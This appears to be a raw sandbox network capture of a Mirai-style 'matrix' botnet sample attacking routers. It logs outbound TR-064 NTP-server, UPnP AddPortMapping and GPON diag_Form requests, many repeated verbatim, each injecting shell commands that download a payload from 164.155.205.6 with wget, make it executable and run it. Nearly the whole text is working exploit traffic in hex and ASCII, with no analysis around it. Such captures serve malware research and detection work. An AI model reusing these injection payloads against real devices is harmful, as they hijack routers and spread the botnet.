Mar 2, 2024 12:38:54.036925077 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1748	192.168.2.23	56044	164.167.71.73	52869

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:51.738965988 CET	986	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://164.155.205.6/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 2, 2024 12:38:52.436817884 CET	986	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://164.155.205.6/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 2, 2024 12:38:52.592116117 CET	1280	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBAC

Session ID	Source IP	Source Port	Destination IP	Destination Port
1749	192.168.2.23	46572	210.165.61.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310391903 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1750	192.168.2.23	52686	5.248.28.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310412884 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1751	192.168.2.23	38678	109.202.79.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310431004 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1752	192.168.2.23	56102	37.17.2.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310431004 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1753	192.168.2.23	41352	37.182.24.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310457945 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1754	192.168.2.23	34248	42.38.62.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310477018 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1755	192.168.2.23	59058	5.22.236.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310498953 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1756	192.168.2.23	59070	210.35.138.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310503960 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1757	192.168.2.23	49828	178.58.170.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310534000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1758	192.168.2.23	39326	118.95.79.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310564995 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1759	192.168.2.23	38558	79.189.50.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310575962 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1760	192.168.2.23	54158	79.149.66.57	443

Timestamp	Bytes transferred	Direction	Data
